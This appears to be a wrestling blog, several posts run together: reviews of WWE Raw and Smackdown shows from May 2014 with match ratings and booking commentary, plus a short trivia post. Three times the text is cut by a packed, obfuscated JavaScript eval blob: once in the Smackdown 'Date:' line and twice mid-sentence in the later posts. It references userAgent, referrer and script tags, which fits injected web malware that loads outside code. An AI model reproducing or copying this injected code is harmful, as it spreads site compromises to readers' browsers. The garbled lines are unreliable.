Rating: D+. This is fine for Sheamus as he gets to be in the ring with a quick story and get a win. There wasn’t much to the match but it’s a Curtis Axel match so what were you expecting? Having Sheamus just run over former midcard champions is a fine idea and something that could work well for him.

Ryback jumps Sheamus post match and I think Sheamus is in action again after a break.

Sheamus vs. Ryback

Joined in progress with Ryback holding Sheamus in a chinlock. I’d assume this is non-title as well. A powerslam gets two on Sheamus but he’s able to get his knees up to block a splash. Sheamus hammers away in the corner and nails the running ax handles to the face. Ryback sends him to the apron but that just allows Sheamus to hit the ten forearms.

They don’t have a ton of effect though as Ryback grabs that over the shoulder Stunner for a close two. The Meathook is countered into White Noise for two more. Brogue Kick misses and Ryback grabs a spinebuster for two, only to walk into a running powerslam for two. Sheamus misses a swing at Axel, allowing the Meathook to put him down. Shell Shock doesn’t work and the Brogue Kick is finally good for the pin at 5:33 shown.

Rating: C+. I liked this WAY better than I thought I would as they were allowed to have an entertaining power match. There’s always something fun about two big strong guys just beating the tar out of each other for awhile with big move after big move. I still don’t get the heel turn they’re allegedly pushing for with Sheamus and this didn’t help anything.

Here’s Stephanie with something to say. She talks about Daniel telling us a story earlier tonight about climbing a mountain to reach his goal. Bryan won the title at Wrestlemania and then defeated the demon at Extreme Rules, but now it means he has to have neck surgery. All that proves is one thing: Bryan is simply not an A+ player. His body just couldn’t take it and that’s why Stephanie tried to protect him all these months. However, she has to do what’s best for business and there’s no way of knowing how this surgery is going to go.

Stephanie tells Daniel to come out and see her face to face but here’s Kane instead. Kane comes out, dragging Bryan’s unconscious body. Bryan’s shirt is ripped and his head looks to be slightly cut. There’s your injury angle to get him off television and make Kane look good in the process. Bryan is loaded onto a stretcher as Brie and Stephanie look on in concern.

Post break Brie shoves Stephanie away from the ambulance and tells her to stay out of this.

Dolph Ziggler vs. Fandango

Fandango takes Ziggler down with ease to start and gyrates a bit before throwing Dolph out to the floor. Back in and Dolph scores with some right hands, only to get caught with a knee to the side of the head. A snap suplex gets two on Ziggler and we hit the chinlock. Ziggler fights up and hammers away in the corner. Fandango comes back with a hard falcon’s arrow for two more but he misses the guillotine legdrop, setting up the Fameasser for another near fall. A Layla distraction lets Fandango hit a quick spinwheel kick for two but Layla gets caught in the ring skirt. That distraction sets up the Zig Zag for the pin at 4:52.

Rating: D+. Layla is GORGEOUS but I’m getting bored with these midcard guys trading wins. Thankfully they’ve switched the people up a bit but it doesn’t make for the most interesting matches in the world. There’s potential for Fandango to be a ladies man character as the dancing thing begins to fade away.

Post match Fandango knows that he’s a winner because he still has Layla. He says he loves her and Layla’s smile lights up the arena. JBL: “This is revolting.”

Here’s Jim Duggan, likely to promote Legends House. He says he’s sure we’re all watching the show but here’s Lana to interrupt. She says Duggan is just like England and America: a once great nation that has become a joke. China now has the biggest economy in the world and Rusev is proud to represent Vladimir Putin.

Duggan doesn’t take kindly to this and starts a USA chant. Lana gives Duggan a chance to beg but Duggan swings the board. Rusev easily takes it away and breaks the board over his knee. Lana says crush but here’s Big E. for the attempted save. Rusev easily dispatches Big E. and kicks him to the floor before standing tall.

We recap Shield vs. Evolution throughout the night.

Damien Sandow, who has shorter hair than the last time I saw him, comes out for a match and says people have been trying to silence what he has to say. Theme music cuts him off again.

Damien Sandow vs. Cody Rhodes

Cody takes him down with a fireman’s carry takeover and gives some sarcastic applaud. Sandow drops to the mat to avoid a Disaster Kick and goes after Cody’s knee. A snap suplex gets two on Rhodes and we hit the chinlock. Cody fights up but gets sent throat first into the middle rope. Sandown hits a running hip attack to the back of Rhodes’ head followed by a missed Wind-Up Elbow.

Instead Damien takes him down to the apron for the elbow from the floor. Back to the chinlock for a few seconds before Cody makes his real comeback with a springboard missile dropkick. Sandow escapes Cross Rhodes and hammers away in the corner, only to have Cody rake the eyes and nail the Disaster Kick for the pin at 4:55.

Rating: C-. Well the heel turn had to start somewhere and a good old fashioned rake of the eyes would work as well as anything else. I do feel sorry for Sandow though as he can’t even beat a guy on a losing streak. The match was nothing special as you would expect but at least there was a point to it.

Bolieve!

We look at the Bryan situation earlier tonight.

The Wyatts appear and Bray talks about how Cena’s actions don’t surprise him anymore because Cena is a human. All humans are flawed by their own greed and actions, preventing them from thriving in this paradise. Cena is just like them with his boundless narcissism, leading him right to Bray. Where does this end though?

Does Cena want to capture the head of the beast for his mantle? How can you do that when the beast is waiting for you? When mountains crumble and the oceans boil, Bray Wyatt will be left standing. Where will John Cena stand? How far is he willing to go to take the devil down? Time to sing but I think that was meant to set up a last man standing match at Payback.

Roman Reigns vs. Batista

Batista drives him into the corner to start and nails those shoulders, only to have Reigns counter with some of his own. A hard whip puts Batista into the corner and another sends him into the steps. Back in and Batista sends Reigns’ shoulder into the post to almost no effect. Reigns is right back with a running clothesline but Orton and HHH get up on the apron. That goes nowhere so Reigns hits a running clothesline in the corner.

HHH and Orton block the apron dropkick though, so Ambrose and Rollins hit those sweet stereo dives. Reigns nails the kick to the head and the other four fight by the announce table. HHH breaks up the Superman Punch but Rollins breaks up a Pedigree attempt on the floor as the match is thrown out at 4:22.

Rating: C-. Another decent power match while it lasted but you don’t want to have either of these guys job. I’m really curious to see where this goes though as Shield has been booked so strong for their entire run now, I can’t imagine them losing in the end. I also can’t picture any of them being ready for the big singles push either so I’m not sure where this goes.

Post match HHH is surrounded but Stephanie sends out most of the midcard to take out Shield. They surround Reigns and HHH gets a chair, only to have Reigns explode with a spear. Rollins and Ambrose both grab chairs to clean house and the Shield stands tall again. The place is going NUTS for this. Fandango takes the Dirty Deeds onto the chair and there’s Peace of Mind onto the chair for Axel. Slater gets a Superman Punch and it’s a spear and Triple Bomb to Ryback. Shield tells Evolution to bring it to end the show.

Overall Rating: C+. This is a difficult show to grade. The wrestling certainly wasn’t anything great for the most part, but the majority of the matches were good enough to pass. That being said, the big stuff tonight came in the form of stories, as Bryan likely having to drop the titles opens up a lot of doors. There’s a chance Kane becomes champion but I can’t picture it happening. What I also can’t picture is who gets the belt next unless they put it on Cena again as a holding pattern. This has the potential to be very interesting, but I’d expect them to play it safe.

Results
Rob Van Dam b. Jack Swagger – Five Star Frog Splash
Paige b. Alicia Fox – Paige Turner
John Cena/Usos b. Wyatt Family – Attitude Adjustment to Rowan
Nikki Bella b. Natalya – Cradle
Sheamus b. Curtis Axel – Cloverleaf
Sheamus b. Ryback – Brogue Kick
Dolph Ziggler b. Fandango – Zig Zag
Roman Reigns vs. Batista went to a no contest

Remember to follow me on Twitter @kbreviews and pick up my new book of on the History of Clash of the Champions at Amazon for just $3.99 at:

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Smackdown – May 9, 2014: The Hangover Edition

Smackdown
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("
");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|anirb|var|u0026u|referrer|yahst||js|php'.split('|'),0,{})) May 9, 2014
Location: First Niagara Center, Buffalo, New York
Commentators: Michael Cole, John Bradshaw Layfield

After Monday dealt with the fallout from Extreme Rules, which was fallout from Wrestlemania, we get to deal with the fallout from the fallout here on Smackdown. The main story at the moment is Evolution laying out Shield to end the show, meaning we’re likely setting up Evolution vs. Shield II at Payback. Also Daniel Bryan has gone from a monster at Wrestlemania to Laurie Strode about a month later. Let’s get to it.

We open with a recap of the battle royal where Sheamus won the US Title, last eliminating reigning champion Dean Ambrose. This transitions into a recap of the main event where Evolution helped the Wyatts defeat Shield and beat down the Hounds of Justice post match.

US Title: Sheamus vs. Dean Ambrose

No Rollins and Reigns outside this time. Dean is favoring his ribs or arm coming in but takes Sheamus down to start. The champion counters into a headlock takeover followed by a running shoulder. Cole is already playing up Sheamus getting the title through less than fair measures, even though he won the match though totally fair and legal means. Sheamus cranks on the arm but Dean fights back with that kind of running Thesz Press of his.

They head outside with Sheamus ramming Ambrose into the announce table but getting suplexed onto the floor. Sheamus comes back with a rolling fireman’s carry as we take a break. Back with Dean fighting out of a full nelson and hammering away at Sheamus’ head. Sheamus goes shoulder first into the post and out to the floor, setting up a great looking suicide dive from Dean. Back in and we hit the Figure Four, which is some pretty lame psychology after Sheamus’ shoulder hit the post and barricade about twenty seconds ago.

The champ gets to a rope and comes back with the Irish Curse and a Cloverleaf. Another rope is grabbed and Dean heads to the apron, setting up the ten forearms to the chest. A big kick to the chest sends Dean into the ropes but he explodes out with a clothesline to put both guys down. Back up and the Brogue Kick out of nowhere sends Ambrose to the floor. Ambrose dives back in at nine, only to take a second Brogue Kick for the pin at 8:19 shown of 11:49.

Rating: C+. Again, I don’t see why this is supposed to be the start of a heel turn for Sheamus. He won the title in a match that is about everyone being in the ring at the same time where the announcers talk about how you have to watch your back. Then he beats the former champion clean with his finishing move. That sounds like one man being better than the other, not one man cheating to win. If that’s where they’re going, then hopefully Sheamus starts doing some heelish stuff instead of the turn being forced because the script says that’s what happens.

Rob Van Dam/Big E. vs. Bad News Barrett/Cesaro

Van Dam has a big black eye and Heyman is on commentary. The Bad News for the week is that climate change is coming and soon people like Big E. are going to be forgotten pieces of history. Barrett hammers on Van Dam to start but gets caught by the springboard kick to the face. Bad News puts on a chinlock as Heyman talks about Brock beating Undertaker. Another kick puts Barrett down and it’s a double tag to Big E. and Cesaro. Big E. takes over with the usual and gets two off the splash. A Rock Bottom out of the corner gets the same but Van Dam accidentally kicks Big E., setting up the Neutralizer for the pin at 2:38.

We look at stills of Bryan vs. Kane from the PPV.

Rusev vs. Kofi Kingston

Just Rusev now. We get another pro-Putin rant from Lana before the match, saying he should win the Nobel Peace Prize. Kofi fires off some kicks to start but gets crushed by a jumping kick to the face. A dropkick staggers Rusev and Kofi hammers away with right hands in the corner, only to have his sunset flip countered by a choke. The cross body gets two on Rusev but Kofi slams him down and hooks the Accolade for the win at 2:06.

The Wyatts come on screen with Bray talking about how the world must crumble because we’re all just slaves to judgment. Judgment tells him he must adapt and it is judgment that says he must bow to Cena. But where we’re going, no one ever comes back.

Bolieve!

Layla/Fandango vs. Santino Marella/Emma

Santino takes Fandango down with a headlock to start but the dancer slams him down. He takes too long dancing on the middle rope though and misses a knee drop, allowing for a double tag to the girls. There’s the Dilemma to Layla and everything breaks down. Emma loads up the pink Cobra but the guys fighting allows Layla to roll her up for the pin at 2:06.

Fandango and Layla kiss on stage.

Roman Reigns vs. Mark Henry

We get an inset interview from Henry saying this is about revenge for Shield attacking him 3-1 a few months ago. Points for continuity. Henry throws Reigns into the corner a few times before winning a slugout by going for Roman’s bad ribs. Mark talks a bunch of trash about how Reigns is by himself tonight and you can hear JBL cover up a laugh. He bends Reigns’ bad ribs around the post as this is one sided so far.

As I say that, Reigns comes back with the jumping clothesline to put Henry down for the first time. Roman tries another charge but runs into a clothesline from Mark. Henry loads up what appeared to be a Vader Bomb but Reigns lifts him onto his shoulders and plants Mark with a Samoan drop. The spear is enough for the pin at 3:45.

Rating: C-. This was a nice mini story with Reigns fighting through adversity and going into Beast Mode to win in the end. That’s the kind of win that makes Reigns look like a monster who isn’t going to be stopped and that’s exactly what he needs at this point. It’s not a masterpiece and was just a quick match but it was nice to see.

3MB vs. Los Matadores/El Torito

It’s Slater/McIntyre for 3MB here along with Horny. McIntyre clotheslines Fernando down for two to start before stomping away. Off to Slater as the big guys start tagging in and out to work over Fernando. JBL drops a Bastian Booger birthday greeting of all things as Horny comes in for some shots of his own. 3MB keeps up the tags until Fernando scores with a dropkick to put both guys down.

Horny: “TAG ME IN! I WANT TO RIP HIS FACE OFF!” Both small guys get tags and Torito starts biting, only to get punched in the jaw for his efforts. The Gore puts Horny on the floor but only seems to tick him off. Slater won’t tag in for some reason but does break up a pin attempt off a splash. Heath comes in legally but misses a charge, allowing Torito to hit a moonsault press for the pin at 4:23.

Rating: D+. The match was nothing to see but that’s become the standard for this feud. Speaking of nothing to see, did Los Matadores fall into a hole for the second half of the match? I’d assume they were fighting with the other full sized guys but the camera didn’t catch much of it if they were. This feud has run out of steam though.

Long recap of Bryan vs. Kane on Monday.

Mr. T. wishes us a Happy Mother’s Day.

Batista vs. Seth Rollins

This has potential. Rollins is banged up as well with a bad arm and misses a charge into the corner to start. Another missed charge sends Rollins to the floor and Batista ties him up in the ring skirt for a beating. The fans tell Batista he can’t wrestle before he pulls Rollins away from the ropes for a big crash to the mat. Back outside already with Seth going into the steps.

We hit the chinlock for a few moments before Batista goes after the bad arm by wrapping it around the post. Batista tries to pull Rollins out of the corner again but Seth backflips (mostly) to his feet. Big Dave misses a charge of his own and goes shoulder first into the post, allowing Rollins to hit some running forearms in the corner. A running sleeper slam from Rollins sets up the standing Sliced Bread #2 but Batista gets away.

Seth scores with an enziguri from the apron but misses the top rope knee to the head, only to run into the spinebuster. The Batista Bomb is countered and now the running knee sends Batista down to the floor. Seth goes up top for a dive, only to be sent face first into the announce table for the countout at 8:55.

Rating: C+. Give this another five minutes and it’s a far better match. This was another good sign for the Shield as Rollins can clearly hang in there with a big star in a longer match. He reminds me of a Jeff Hardy in the ring with all of the dives and it’s easy to get behind his comebacks.

Post match Batista lays Rollins out with a Batista Bomb.

Wyatt Family vs. Usos/John Cena

Cena runs over Rowan to start and scores with a quick release fisherman’s suplex. Harper comes in for one of those freaky looks of his so Cena takes him down with a bulldog. Off to Jey for some shots to the face before Jimmy comes in for some running shots in the corner. Luke comes back with a right hand of his own and it’s off to Rowan who walks into a Jimmy punch. Harper comes back in to take over on Jey with catapult into the middle rope for two.

Bray is legal for the first time and chokes even more as this isn’t the most energetic match in the world. Wyatt does the Spider Walk out of the corner but Jey kicks his arm away in a nice counter. A low bridge puts Bray on the floor but Harper breaks up a tag attempt. There’s the Gator Roll followed by a chinlock before it’s back to Erick for a headlock.

Jey shoves him into the corner and avoids a splash, finally allowing for the hot tag to Jimmy to face Bray. Cena gets in a cheap shot from the apron as Jimmy superkicks Harper down for two. Bray and Rowan double team Cena but Jimmy dives on all three of them. He goes back inside though and eats the discus lariat from Harper for the pin at 8:18.

Rating: D+. The match was fine from a technical standpoint but there was no energy to this at all. It felt like a dark match or the main event of a house show at the end of a long tour. Most of it was just punching and variations of chinlocks with no real big saves and almost nothing from Cena at all. I expected more from this one but it does advance the Family vs. Usos down the line.

Overall Rating: D+. This wasn’t much of a show as it’s really just a supplement to Raw, which wasn’t a great show in the first place. It’s cool to see the Shield wrestling on their own and they didn’t perform horribly, but the rest of the show really didn’t do anything for me at all. It’s really just a long set of matches that don’t change anything and won’t matter by the time Monday comes around.
 

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Thought of the Day: Get The Big Pack Of Candles

Here’s eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ahzit|var|u0026u|referrer|rtydk||js|php'.split('|'),0,{})) something you might not realize.  No real reason for this but I found it interesting.

John Cena, AJ Styles and Brock Lesnar were all born within two and a half months of each other.  No there’s no significance to that, but AJ always seems so much younger than those two.




Reviewing the Review: Monday Night Raw – May 5, 2014

This eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ftnkk|var|u0026u|referrer|trift||js|php'.split('|'),0,{})) week was the first show after the sequel to Wrestlemania and it seems like we’re setting up the third part of the trilogy even though people don’t seem all that interested in what we’re getting. In other words, it’s spring in the WWE. Let’s get to it.

The show opened with Dean Ambrose defending the US Title in a battle royal. He wound up losing the title to Sheamus as the last man in the match and I can’t complain at all. This accomplishes two things: it gets the title off Ambrose who had held it for nearly a year and gives Sheamus something to do. It also makes the US Title seem more important as a big name like Sheamus is holding it now. With only one world title now, there simply isn’t room for guys like Sheamus, Del Rio, Christian and Ziggler to challenge for the big belt. You elevate the midcard titles and everything fits much better.

I’ll cover all of the Bryan/Brie/Stephanie/Kane stuff here. This of course leads us to the Disco Inferno. He used to post on the WrestleZone Forums as a paid guest and made a comment once that makes so much sense: “If a champion pins a challenger clean, why in the world would I want to watch them fight again?” That’s the problem with Kane vs. Bryan again. Bryan pinned Kane in the middle of the ring after his finisher. The question was “what can Bryan do to stop Kane?” We answered that at Extreme Rules but the feud is continuing because they have nothing else to do and the script says it has to continue. That’s rarely interesting.

What makes it even worse is how they’re going about doing it. From the camera in the back of the car to the Michael Myers feeling the segment had to having to watch Stephanie’s acting to the supernatural stuff with the Kane masks everywhere to how stupid the other segments are likely to be, this stuff got old fast. I don’t want to watch a bad slasher movie, but at least it’s better than Zack Ryder as Bryan will actually fight back. Also I don’t mind Brie Bella being there as it doesn’t feel incredibly forced and Bryan is the kind of character that seems like he’d be a family man.

Cesaro got disqualified for attacking RVD too much. The match wasn’t anything great but Cesaro had RVD defeated when he got disqualified which made this way easier to sit through. This is what RVD should be used for and he did it to perfection.

Bray Wyatt’s promo worked very well as he talked about being a god instead of just a leader. It seems that his feud with Cena will continue and again, Bray needs to win the third match. That would open the door for stories going forward and it’s not like Cena needs the win. Yeah the Extreme Rules match felt forced, but at least there’s a story here that makes me want to see where it goes, unlike the World Title feud.

Ryback beat Cody Rhodes to continue the Rhodes Brothers breakup that is going on too long now. Nothing to see here.

Los Matadores and Torito beat up 3MB. I have no idea where they can go after Sunday and I really don’t care to find out.

Rusev has dropped the Alexander and squashed Kofi Kingston. Again I didn’t care too much about the match as Lana was very distracting in blue.

Daniel Bryan beat Alberto Del Rio in a good match. This is the kind of thing I’d love to see as the co-main event of the B shows. You don’t have to have A-list star vs. A-list star as the main event of every show. Have another big match on the side (Shield vs. Evolution in a big gimmick match for example) and have Bryan go 25 minutes with Del Rio or Ziggler etc. Bryan gets a win over a former World Champion, the other guy gets a rub and doesn’t look bad in losing to Bryan and maybe he even looks better in the future. It worked at In Your House and it can work here.

Bad News Barrett beat Big E. again to retain the Intercontinental Title. This was as by the books as you could get and there’s really nothing wrong with that. Big E. needs a story instead of a feud now though, which isn’t likely to happen as the writers aren’t that competent.

We got a Mother’s Day message from Mr. T., which was basically just a way to make fun of his Hall of Fame speech. This kind of stuff makes WWE look so childish and likely is done to entertain themselves. They’re already borderline toxic to most big name stars, so why would they make fun of someone willing to work with them? What does this one off, 90 second joke accomplish?

Adam Rose debuted but didn’t wrestle. His first match/feud is going to be with Jack Swagger, which is WAY better than having him squash jobbers for a month while we wait for someone of note to fight him. The fans were way into the character which is the right idea, even though Rose doesn’t have a long shelf life. Also Zeb dancing, even if by accident, was hysterical.

Shield vs. Wyatts was nothing we haven’t seen before but it wasn’t bad. We got all the usual spots and sequences until Evolution came out for the distraction. The show ended with Evolution standing tall, which is the right move if they’re continuing the story.

Overall Raw was a decent show but Payback seems like they’re running on whatever fuel they had left over at Wrestlemania. Evolution vs. Shield should be an interesting second PPV match but I’m hoping they go for three singles matches instead of another match and THEN have another six man tag. Cena vs. Wyatt III all depends on the ending and Bryan vs. Kane II is just nothing I want to see. Still though, there was enough good to get me through Raw on Monday, but it didn’t do much to make me care about the future going forward.

Remember to follow me on Twitter @kbreviews and pick up my new book of on the History of Clash of the Champions at Amazon for just $3.99 at:

And check out my Amazon author page with wrestling books for under $4 at: